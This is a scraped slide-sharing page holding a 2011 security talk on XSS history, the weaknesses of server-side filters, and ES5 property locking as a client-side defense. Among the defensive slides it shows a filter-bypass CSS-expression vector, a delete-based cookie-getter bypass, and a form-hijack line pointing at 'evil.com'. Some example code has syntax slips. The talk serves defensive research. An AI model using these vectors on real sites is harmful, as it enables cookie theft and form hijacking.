Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security

Mario Heiderich
Mario HeiderichSecurity Research / Penetration Testing
Locking the Throne Room
How ES5+ might change views on XSS and Client Side Security




           A presentation by Mario Heiderich, 2011
Introduction
   Mario Heiderich
       Researcher and PhD student at the Ruhr-University,
        Bochum
       Security Researcher for Microsoft, Redmond
       Security Consultant for XING AG, Hamburg
       Published author and international speaker
       HTML5 Security Cheatsheet / H5SC
       PHPIDS Project
Today's menu
   JavaScript and XSS
       How it all began
       A brief historical overview
   Cross Site Scripting today
       Current mitigation approaches
       A peek into the petri dishes of current development
   A different approach
       ES5 and XSS
   Case study and discussion
   Future work
JavaScript History
   Developed by Brendan Eich as LiveScript
   JavaScript 1.0 published late 1995 by Netscape
   Microsoft developed the JScript dialect
   ECMA-262 1st Edition published in 1998
   JavaScript 1.5/JScript 5.5 in November 2000
   JavaScript 1.6 introducing E4X in late 2006
   JavaScript 1.8 in 2008
   JavaScript 1.8.5 in 2010, ECMA Script 5 compliance
JavaScript and XSS
   Cross Site Scripting
       One site scripting another
       Early vectors abusing Iframes
       First published attacks in the late nineties
       Three major variations
            Reflected XSS
            Persistent XSS
            DOM based XSS / DOMXSS
       Information theft and modification
       Impersonation and leverage of more complex attacks
The DOM
   Document Object Model
       Prototype based representation of HTML/XML trees
       Interfaces for easy JavaScript access
       Methods to read and manipulate DOM subtrees
       Events to notice and process user interaction
       Interaction with browser properties
       Access to magic properties such as document location
       Proprietary interfaces to
            Crypto objects, browser components, style sheets, etc.
XSS today
   An ancient and simple yet unsolved problem
       Complexity
       Browser bugs
       Insecure web applications
       Browser plug-ins
       Impedance mismatches
       Application layer mitigation concepts
       Risk assessment and ignorance
       New features and spec drafts enabling 0-day attacks
   XSS is a user agent problem! Nothing else!
Mitigation History
   Server side
       Native runtime functions, strip_tags(), htmlentities(), etc.
       Runtime libraries and request validation
       External libraries filtering input and output
            HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
            HTTPOnly cookies
   Client side protection mechanisms
       toStaticHTML() in IE8+ and NoScript
       IE8+ XSS filter and Webkit XSS Auditor
       Protective extensions such as NoScript, NotScripts
       Upcoming approaches such as CSP
Impedance mismatch
   Layer A is unaware of Layer B capabilities and flaws
       Layer A deploys the attack
       Layer B executes the exploit
   Case study:
       HTMLPurifier 4.1.1
       Server side HTML filter and XSS mitigation library
       Internet Explorer 8, CSS expressions and a parser bug

       <a style="background:url('/',!
        @x:expression(write(1))//)!'');"></a>
More Examples
   Real World Attack Samples
   Making websites vulnerable that aren't
   Proving server side filters plain ineffective
       Exploding XML Namespaces
       Generating tags from dust
       Exploiting CSS Escape decompilation
       The backtick trick
   VM →
Further vectors
   Plug-in based XSS
       Adobe Reader
       Java applets
       Flash player
       Quicktime videos
       SVG images
   Charset injection and content sniffing
       UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
       Chameleon files, cross context scripting, local XSS
   DOMXSS
Quintessence
   Server side filtering of client side attacks
       Useful and stable for basic XSS protection
   Still not remotely sufficient
       Affected by charsets, impedance mismatch
       Subverted by browser bugs an parser errors
       Rendered useless by DOMXSS
       Bypassed via plug-in based XSS
       Helpless against attacks deployed from different servers
       Not suitable for what XSS has become
   The server cannot serve protection for the client
Revisiting XSS
   XSS attacks target the client
   XSS attacks are being executed client side
   XSS attacks aim for client side data and control
   XSS attacks impersonate the user
   XSS is a client side problem
       Sometimes caused by server side vulnerabilities
       Sometimes caused by a wide range of problems
        transparent for the server
   Still we try to improve server side XSS filters
Idea
   Prevention against XSS in the DOM
   Capability based DOM security
   Inspired by HTTPOnly
       Cookies cannot be read by scripts anymore
       Why not changing document.cookie to do so
   JavaScript up to 1.8.5 enabled this
   Unfortunately Non-Standard
   Example →
__defineGetter__()
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>


…


<script>
    alert(document.cookie)
</script>
Problems
   Proprietary – not working in Internet Explorer
   Loud – an attacker can fingerprint that modification
   Not tamper resistant at all
       JavaScript supplies a delete operator
       Delete operations on DOM properties reset their state
       Getter definitions can simply be overwritten
   Object getters - invalid for DOM protection purposes
   Same for setters and overwritten methods
Bypass
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>
…
<script>
    delete document.cookie;
    alert(document.cookie)
</script>
Tamper Resistance
   First attempts down the prototype chain
       document.__proto__.__defineGetter__()
       Document.prototype
       Components.lookupMethod(document, 'cookie')
   Attempts to register delete event handlers
       Getter and setter definitions for the prototypes
       Setter protection for setters
       Recursion problems
       Interval based workarounds and race conditions
   JavaScript 1.8 unsuitable for DOM based XSS protection
ECMA Script 5
   Most current browsers use JavaScript based on ES3
       Firefox 3
       Internet Explorer 8
       Opera 11
   Few modern ones already ship ES5 compliance
       Google Chrome
       Safari 5
       Firefox 4
       Internet Explorer 9
Object Extensions
   Many novelties in ECMA Script 5
   Relevance for client side XSS mitigation
       Object extensions such as
            Object.freeze()
            Object.seal()
            Object.defineProperty() / Object.defineProperties()
            Object.preventExtensions()
       Less relevant but still interesting
            Proxy Objects
            More meta-programming APIs
            Combinations with DOM Level 3 events
({}).defineProperty()
   Object.defineProperty() and ..Properties()
   Three parameters
       Parent object
       Child object to define
       Descriptor literal
   Descriptors allow to manipulate
       Get / Set behavior
       Value
       “Enumerability”
       “Writeability”
       “Configurability”
   Example →
Example

<script>
Object.defineProperty(document, 'cookie', {
   get: function(){return:false},
   set: function(){return:false},
   configurable:false
});
</script>

…

<script>
   delete document.cookie;
   alert(document.cookie);
</script>
configurable:false
   Setting “configurability” to false is final
       The object description is stronger than delete
       Prototype deletion has to effect
       Re-definition is not possible
       Proprietary access via Components.lookupMethod() does
        not deliver the native object either
   With this method call cookie access can be forbidden
       By the developer
       And by the attacker
Prohibition
   Regulating access in general
       Interesting to prevent cookie theft
       Other properties can be blocked too
       Method access and calls can be forbidden
       Methods can be changed completely
       Horizontal log can be added to any call, access and event
   That is for existing HTML elements as well
   Example →
Action Protection

<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {
   set: IDS_detectHijacking,
   get: IDS_detectStealing,
   configurable:false
});
</script>

…

<script>
   document.forms[0].action='//evil.com';
</script>
First Roundup
   Access prohibition might be effective
   Value and argument logging helps detecting attacks
   Possible IDS solutions are not affected by heavy string
    obfuscation
   No impedance mismatches
       Attacks are detected on they layer they target
       Parser errors do not have effect here
       No effective charset obfuscations
       Immune against plug-in-deployed scripting attacks
       Automatic quasi-normalization
Limitations
   Blacklisting approach
   Continuity issues
   Breaking existing own JavaScript applications
       Forbidding access is often too restrictive
   Breaking third party JavaScript applications
       Tracking scripts (Google Analytics, IVW, etc.)
       Advertiser controlled scripts
   Small adaption rate, high testing effort
   No fine-grained or intelligent approach
Going Further
   No access prohibitions but RBAC via JavaScript
   Possible simplified protocol
       Let object A know about permitted accessors
       Let accessors of object A be checked by the getter/setter
       Let object A react depending on access validity
       Seal object A
       Execute application logic
       Strict policy based approach
   A shared secret between could strengthen the policy
   Example →
RBAC and IDS
<script>
Object.defineProperty(document, 'cookie', {
   set:RBAC_checkSetter(IDS_checkArguments()),
   get:RBAC_checkGetter(IDS_checkArguments())
   configurable:false
});


// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

…

<script>
   alert(document.cookie)
</script>
Forced Introspection
   Existing properties can gain capabilities
       The added setter will know:
           Who attempts to set
           What value is being used
       The added getter will know:
           Who attempts to get
       An overwritten function will know:
           How the original function looked like
           Who calls the function
           What arguments are being used
   IDS and RBAC are possible
   Tamper resistance thanks to configurable:false
Case Study I
   Stanford JavaScript Crypto Library
   AES256, SHA256, HMAC and more in JavaScript
   „SJCL is secure“
   Not true from an XSS perspective
   Global variables
   Uses
       Math.floor(), Math.max(), Math.random()
       document.attachEvent(), native string methods etc.
       Any of which can be attacker controlled
   High impact vulnerabilities ahead...
Case Study II
   BeEF – Browser Exploitation Framework
   As seen some minutes ago ☺
   Uses global variables
       window.beef = BeefJS;
   Attacker could seal it with Object.defineProperty()
       Else the defender could “counterbeef” it
       BeEF XSS = Exploiting the exploiter
       Maybe a malformed UA string? Or host address?
Deployment
   Website owners should obey a new rule
   „The order of deployment is everything“
   As long as trusted content is being deployed first
       Object.defineProperty() can protect
       Sealing can be used for good
   The script deploying first controls the DOM
       Persistent, tamper resistant and transparent
   Self-defense is possible
   Example →
!defineProperty()
<html>
<head>
<script>
…
Object.defineProperty(Object, 'defineProperty' {
   value:[],
   configurable:false
});
</script>

…

<script>
   Object.defineProperty(window,'secret', {
      get:stealInfo
   }); // TypeError
</script>
Reflection
   Where are we now with ES5?
       Pro:
           We can fully restrict property and method access
           We have the foundation for a client side IDS and RBAC
           We can regulate Object access, extension and modification
           CSP and sandboxed Iframes support this approach
       Contra:
           It's a blacklist
           Magic properties cause problems
           We need to prevent creation of a fresh DOM
           Right now the DOM sucks!
   Still we can approach XSS w/o any obfuscation
Easing Adaptation
   JS based IDS and RBAC is not easy to grasp
   Possible adaptation boosters include
       Usage ready libraries
       Well readable policy files (JSON)
       GUI Tools for individual policies
            Automated parsing of existing libraries and scripts
            Security levels and developer compatible docs
   Community driven hardening and vendor adaptation
   Interfaces to server-side filter logic
   Spreading awareness for security sake!
Future Work I
   We need to fix the DOM
       Heard of the addEventListener() black-hole?
   Specify a whitelist based approach
   Refine event handling and DOM properties
       DOMBeforeSubtreeModified
       DOMBeforeInsertNode
       DOMBefore...
   We need DOM Proxies!
   The DOM needs more “trustability”
   Monitor and contribute to ES6 and ES7
Future Work II
   Address browser vendors about concerns and bugs
       Double freezing, lack of ES5 support, peculiarities
       Find better ways to treat JavaScript URIs
       Provide a safe and homogeneous DOM
   Create a model framework, support majors libraries
   Learn from other sandbox approaches
   Academic publications, acquire early adopters
   Spread awareness on ES5+ and the attached implications

   Finally, somehow tell online advertisers in a charming way, what
    they have to expect soon...
Wrap-Up
   XSS remains undefeated
   RIAs gain complexity and power
   Client-agnostic server side filters designed to fail

   Time for a new approach
   Still a lot of work to be done
   No one said it'd be easy
Questions
   Thanks for your time!
   Discussion?

   Thanks for advice and contribution:
       Gareth Heyes
       Stefano Di Paola
       Eduardo Vela
       John Wilander and Mattias Bergling
       Jonas Magazinius
       Michele Orru
       Phung et al.
       All unmentioned contributors
1 of 40

Recommended

Scriptless Attacks - Stealing the Pie without touching the Sill by
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
45.7K views33 slides
HTML5 - The Good, the Bad, the Ugly by
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
2K views22 slides
In the DOM, no one will hear you scream by
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
33.2K views60 slides
The Image that called me - Active Content Injection with SVG Files by
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesMario Heiderich
10.1K views29 slides
Generic Attack Detection - ph-Neutral 0x7d8 by
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
1.5K views21 slides
The innerHTML Apocalypse by
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
35K views51 slides

More Related Content

What's hot

Dev and Blind - Attacking the weakest Link in IT Security by
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
5.6K views39 slides
Locking the Throneroom 2.0 by
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
6.4K views47 slides
JavaScript From Hell - CONFidence 2.0 2009 by
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
21.9K views39 slides
The Ultimate IDS Smackdown by
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
1.7K views31 slides
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
30.4K views55 slides
The Future of Web Attacks - CONFidence 2010 by
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
2.9K views36 slides

What's hot(20)

Dev and Blind - Attacking the weakest Link in IT Security by Mario Heiderich
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich5.6K views
JavaScript From Hell - CONFidence 2.0 2009 by Mario Heiderich
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
Mario Heiderich21.9K views
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-... by Mario Heiderich
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Mario Heiderich30.4K views
The Future of Web Attacks - CONFidence 2010 by Mario Heiderich
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
Mario Heiderich2.9K views
A XSSmas carol by cgvwzq
A XSSmas carolA XSSmas carol
A XSSmas carol
cgvwzq4K views
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,... by Mario Heiderich
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Mario Heiderich45.4K views
Breaking AngularJS Javascript sandbox by Mathias Karlsson
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
Mathias Karlsson2.2K views
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam) by Krzysztof Kotowicz
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Krzysztof Kotowicz557 views
Incremental DOM and Recent Trend of Frontend Development by Akihiro Ikezoe
Incremental DOM and Recent Trend of Frontend DevelopmentIncremental DOM and Recent Trend of Frontend Development
Incremental DOM and Recent Trend of Frontend Development
Akihiro Ikezoe4.8K views
Developer's Guide to JavaScript and Web Cryptography by Kevin Hakanson
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web Cryptography
Kevin Hakanson30.8K views
Defcon 20-zulla-improving-web-vulnerability-scanning by zulla
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanning
zulla557 views
Security and why you need to review yours. by David Busby, CISSP
Security and why you need to review yours.Security and why you need to review yours.
Security and why you need to review yours.
David Busby, CISSP9.9K views
Reverse Engineering Malicious Javascript by Yusuf Motiwala
Reverse Engineering Malicious JavascriptReverse Engineering Malicious Javascript
Reverse Engineering Malicious Javascript
Yusuf Motiwala7.4K views
Biting into the forbidden fruit. Lessons from trusting Javascript crypto. by Krzysztof Kotowicz
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Krzysztof Kotowicz14.7K views
The Bleeding Edge by jClarity
The Bleeding EdgeThe Bleeding Edge
The Bleeding Edge
jClarity4.3K views

Similar to Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security

Cross site scripting by
Cross site scriptingCross site scripting
Cross site scriptingDilan Warnakulasooriya
1.1K views14 slides
AJAX: How to Divert Threats by
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert ThreatsCenzic
1.3K views33 slides
Cross Site Scripting Defense Presentation by
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
3.7K views23 slides
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services by
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
82K views42 slides
WebSec_MSR.ppt by
WebSec_MSR.pptWebSec_MSR.ppt
WebSec_MSR.pptLucaMartins7
6 views46 slides
04. xss and encoding by
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
2K views76 slides

Similar to Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security(20)

AJAX: How to Divert Threats by Cenzic
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert Threats
Cenzic1.3K views
Cross Site Scripting Defense Presentation by Ikhade Maro Igbape
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape3.7K views
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services by Shreeraj Shah
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah82K views
04. xss and encoding by Eoin Keary
04.  xss and encoding04.  xss and encoding
04. xss and encoding
Eoin Keary2K views
Secure web messaging in HTML5 by Krishna T
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T2K views
Automated JavaScript Deobfuscation - PacSec 2007 by Stephan Chenette
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
Stephan Chenette1.5K views
Owasp top 10_openwest_2019 by Sean Jackson
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019
Sean Jackson224 views
Sandboxing JS and HTML. A lession Learned by Minded Security
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession Learned
Minded Security1.9K views
Dom Hackking & Security - BlackHat Preso by Shreeraj Shah
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat Preso
Shreeraj Shah608 views
XSS filter on Server side by cuteboysmith
XSS filter on Server sideXSS filter on Server side
XSS filter on Server side
cuteboysmith1.7K views
Modern Web Technologies by Perttu Myry
Modern Web TechnologiesModern Web Technologies
Modern Web Technologies
Perttu Myry10.2K views
Web 2.0 Hacking by blake101
Web 2.0 HackingWeb 2.0 Hacking
Web 2.0 Hacking
blake101532 views

Recently uploaded

NTGapps NTG LowCode Platform by
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform Mustafa Kuğu
474 views30 slides
Business Analyst Series 2023 - Week 4 Session 8 by
Business Analyst Series 2023 -  Week 4 Session 8Business Analyst Series 2023 -  Week 4 Session 8
Business Analyst Series 2023 - Week 4 Session 8DianaGray10
180 views13 slides
Deep Tech and the Amplified Organisation: Core Concepts by
Deep Tech and the Amplified Organisation: Core ConceptsDeep Tech and the Amplified Organisation: Core Concepts
Deep Tech and the Amplified Organisation: Core ConceptsHolonomics
17 views21 slides
Transcript: Redefining the book supply chain: A glimpse into the future - Tec... by
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...BookNet Canada
43 views16 slides
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...ShapeBlue
120 views12 slides
"Node.js Development in 2024: trends and tools", Nikita Galkin by
"Node.js Development in 2024: trends and tools", Nikita Galkin "Node.js Development in 2024: trends and tools", Nikita Galkin
"Node.js Development in 2024: trends and tools", Nikita Galkin Fwdays
37 views38 slides

Recently uploaded(20)

NTGapps NTG LowCode Platform by Mustafa Kuğu
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform
Mustafa Kuğu474 views
Business Analyst Series 2023 - Week 4 Session 8 by DianaGray10
Business Analyst Series 2023 -  Week 4 Session 8Business Analyst Series 2023 -  Week 4 Session 8
Business Analyst Series 2023 - Week 4 Session 8
DianaGray10180 views
Deep Tech and the Amplified Organisation: Core Concepts by Holonomics
Deep Tech and the Amplified Organisation: Core ConceptsDeep Tech and the Amplified Organisation: Core Concepts
Deep Tech and the Amplified Organisation: Core Concepts
Holonomics17 views
Transcript: Redefining the book supply chain: A glimpse into the future - Tec... by BookNet Canada
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
BookNet Canada43 views
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And... by ShapeBlue
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment - And...
ShapeBlue120 views
"Node.js Development in 2024: trends and tools", Nikita Galkin by Fwdays
"Node.js Development in 2024: trends and tools", Nikita Galkin "Node.js Development in 2024: trends and tools", Nikita Galkin
"Node.js Development in 2024: trends and tools", Nikita Galkin
Fwdays37 views
"Package management in monorepos", Zoltan Kochan by Fwdays
"Package management in monorepos", Zoltan Kochan"Package management in monorepos", Zoltan Kochan
"Package management in monorepos", Zoltan Kochan
Fwdays37 views
"Running students' code in isolation. The hard way", Yurii Holiuk by Fwdays
"Running students' code in isolation. The hard way", Yurii Holiuk "Running students' code in isolation. The hard way", Yurii Holiuk
"Running students' code in isolation. The hard way", Yurii Holiuk
Fwdays38 views
Mobile Core Solutions & Successful Cases.pdf by IPLOOK Networks
Mobile Core Solutions & Successful Cases.pdfMobile Core Solutions & Successful Cases.pdf
Mobile Core Solutions & Successful Cases.pdf
IPLOOK Networks16 views
Digital Personal Data Protection (DPDP) Practical Approach For CISOs by Priyanka Aash
Digital Personal Data Protection (DPDP) Practical Approach For CISOsDigital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOs
Priyanka Aash171 views
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De... by Moses Kemibaro
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Moses Kemibaro38 views
Cocktail of Environments. How to Mix Test and Development Environments and St... by Aleksandr Tarasov
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...
What is Authentication Active Directory_.pptx by HeenaMehta35
What is Authentication Active Directory_.pptxWhat is Authentication Active Directory_.pptx
What is Authentication Active Directory_.pptx
HeenaMehta3515 views
The Power of Heat Decarbonisation Plans in the Built Environment by IES VE
The Power of Heat Decarbonisation Plans in the Built EnvironmentThe Power of Heat Decarbonisation Plans in the Built Environment
The Power of Heat Decarbonisation Plans in the Built Environment
IES VE85 views
Innovation & Entrepreneurship strategies in Dairy Industry by PervaizDar1
Innovation & Entrepreneurship strategies in Dairy IndustryInnovation & Entrepreneurship strategies in Dairy Industry
Innovation & Entrepreneurship strategies in Dairy Industry
PervaizDar139 views
AIM102-S_Cognizant_CognizantCognitive by PhilipBasford
AIM102-S_Cognizant_CognizantCognitiveAIM102-S_Cognizant_CognizantCognitive
AIM102-S_Cognizant_CognizantCognitive
PhilipBasford23 views
This talk was not generated with ChatGPT: how AI is changing science by Elena Simperl
This talk was not generated with ChatGPT: how AI is changing scienceThis talk was not generated with ChatGPT: how AI is changing science
This talk was not generated with ChatGPT: how AI is changing science
Elena Simperl34 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li104 views

Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security

  • 1. Locking the Throne Room How ES5+ might change views on XSS and Client Side Security A presentation by Mario Heiderich, 2011
  • 2. Introduction  Mario Heiderich  Researcher and PhD student at the Ruhr-University, Bochum  Security Researcher for Microsoft, Redmond  Security Consultant for XING AG, Hamburg  Published author and international speaker  HTML5 Security Cheatsheet / H5SC  PHPIDS Project
  • 3. Today's menu  JavaScript and XSS  How it all began  A brief historical overview  Cross Site Scripting today  Current mitigation approaches  A peek into the petri dishes of current development  A different approach  ES5 and XSS  Case study and discussion  Future work
  • 4. JavaScript History  Developed by Brendan Eich as LiveScript  JavaScript 1.0 published late 1995 by Netscape  Microsoft developed the JScript dialect  ECMA-262 1st Edition published in 1998  JavaScript 1.5/JScript 5.5 in November 2000  JavaScript 1.6 introducing E4X in late 2006  JavaScript 1.8 in 2008  JavaScript 1.8.5 in 2010, ECMA Script 5 compliance
  • 5. JavaScript and XSS  Cross Site Scripting  One site scripting another  Early vectors abusing Iframes  First published attacks in the late nineties  Three major variations  Reflected XSS  Persistent XSS  DOM based XSS / DOMXSS  Information theft and modification  Impersonation and leverage of more complex attacks
  • 6. The DOM  Document Object Model  Prototype based representation of HTML/XML trees  Interfaces for easy JavaScript access  Methods to read and manipulate DOM subtrees  Events to notice and process user interaction  Interaction with browser properties  Access to magic properties such as document location  Proprietary interfaces to  Crypto objects, browser components, style sheets, etc.
  • 7. XSS today  An ancient and simple yet unsolved problem  Complexity  Browser bugs  Insecure web applications  Browser plug-ins  Impedance mismatches  Application layer mitigation concepts  Risk assessment and ignorance  New features and spec drafts enabling 0-day attacks  XSS is a user agent problem! Nothing else!
  • 8. Mitigation History  Server side  Native runtime functions, strip_tags(), htmlentities(), etc.  Runtime libraries and request validation  External libraries filtering input and output  HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML  HTTPOnly cookies  Client side protection mechanisms  toStaticHTML() in IE8+ and NoScript  IE8+ XSS filter and Webkit XSS Auditor  Protective extensions such as NoScript, NotScripts  Upcoming approaches such as CSP
  • 9. Impedance mismatch  Layer A is unaware of Layer B capabilities and flaws  Layer A deploys the attack  Layer B executes the exploit  Case study:  HTMLPurifier 4.1.1  Server side HTML filter and XSS mitigation library  Internet Explorer 8, CSS expressions and a parser bug  <a style="background:url('/',! @x:expression(write(1))//)!'');"></a>
  • 10. More Examples  Real World Attack Samples  Making websites vulnerable that aren't  Proving server side filters plain ineffective  Exploding XML Namespaces  Generating tags from dust  Exploiting CSS Escape decompilation  The backtick trick  VM →
  • 11. Further vectors  Plug-in based XSS  Adobe Reader  Java applets  Flash player  Quicktime videos  SVG images  Charset injection and content sniffing  UTF-7 XSS, EBCDIC, MacFarsi, XSS via images  Chameleon files, cross context scripting, local XSS  DOMXSS
  • 12. Quintessence  Server side filtering of client side attacks  Useful and stable for basic XSS protection  Still not remotely sufficient  Affected by charsets, impedance mismatch  Subverted by browser bugs an parser errors  Rendered useless by DOMXSS  Bypassed via plug-in based XSS  Helpless against attacks deployed from different servers  Not suitable for what XSS has become  The server cannot serve protection for the client
  • 13. Revisiting XSS  XSS attacks target the client  XSS attacks are being executed client side  XSS attacks aim for client side data and control  XSS attacks impersonate the user  XSS is a client side problem  Sometimes caused by server side vulnerabilities  Sometimes caused by a wide range of problems transparent for the server  Still we try to improve server side XSS filters
  • 14. Idea  Prevention against XSS in the DOM  Capability based DOM security  Inspired by HTTPOnly  Cookies cannot be read by scripts anymore  Why not changing document.cookie to do so  JavaScript up to 1.8.5 enabled this  Unfortunately Non-Standard  Example →
  • 15. __defineGetter__() <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> alert(document.cookie) </script>
  • 16. Problems  Proprietary – not working in Internet Explorer  Loud – an attacker can fingerprint that modification  Not tamper resistant at all  JavaScript supplies a delete operator  Delete operations on DOM properties reset their state  Getter definitions can simply be overwritten  Object getters - invalid for DOM protection purposes  Same for setters and overwritten methods
  • 17. Bypass <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> delete document.cookie; alert(document.cookie) </script>
  • 18. Tamper Resistance  First attempts down the prototype chain  document.__proto__.__defineGetter__()  Document.prototype  Components.lookupMethod(document, 'cookie')  Attempts to register delete event handlers  Getter and setter definitions for the prototypes  Setter protection for setters  Recursion problems  Interval based workarounds and race conditions  JavaScript 1.8 unsuitable for DOM based XSS protection
  • 19. ECMA Script 5  Most current browsers use JavaScript based on ES3  Firefox 3  Internet Explorer 8  Opera 11  Few modern ones already ship ES5 compliance  Google Chrome  Safari 5  Firefox 4  Internet Explorer 9
